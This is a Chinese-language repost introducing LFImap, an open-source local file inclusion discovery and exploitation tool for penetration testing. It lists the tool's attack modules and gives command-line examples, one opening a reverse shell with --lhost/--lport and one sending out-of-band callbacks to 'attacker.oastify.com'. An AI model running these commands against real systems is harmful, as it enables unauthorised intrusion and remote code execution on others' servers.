本地文件包含发现和利用工具

工具简介

LFImap是一款本地文件包含发现和利用工具，该项目处于预alpha阶段。主要版本1.0即将推出，其中包含大量新功能和模块。

主要特点

使用不同模块进行攻击：过滤包装文件包含数据包装器远程命令执行输入包装器远程命令执行期望包装器远程命令执行文件包装器文件包含路径遍历攻击远程文件包含自定义多语言命令注入启发式扫描自定义多语言XSS、CRLF检查打开重定向检查基于错误的文件包含信息泄漏测试模式：-U -> 指定要测试的单个URL-F -> 指定要测试的URL单词表-R -> 指定要测试的文件中原始http完全控制HTTP请求测试参数的规范（GET、FORM-line、Header、自定义注入点）自定义HTTP标头的规范能够使用任意格式行(POST)数据进行测试能够使用任意HTTP方法进行测试能够通过Web代理转移请求能够将所有请求和响应记录到文件中能够通过请求之间的超时和最大响应时间调整测试支持通过url和base64编码操作有效载荷快速模式（-q），其中LFImap使用较少的精心挑选的有效载荷二阶（存储）漏洞检查支持Beta/测试阶段CSRF处理支持

使用示例

1）使用‘-a’来利用所有支持的攻击模块。

python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a

2）使用‘-D’进行参数后测试

python3 lfimap.py -U "http://IP/index.php" -D "page=testme" -a

3）使用‘-x’进行反向 shell 远程命令执行攻击

python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a -x --lhost <IP> --lport <PORT>

4）使用“--callback”实现带外盲漏洞详细测试支持

python3 lfimap.py -U "http://IP/index.php?param=testme" -a -v --callback="attacker.oastify.com"

下载地址

https://github.com/hansmach1ne/LFImap

文章来源：Hack分享吧

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

如侵权请私聊我们删文

END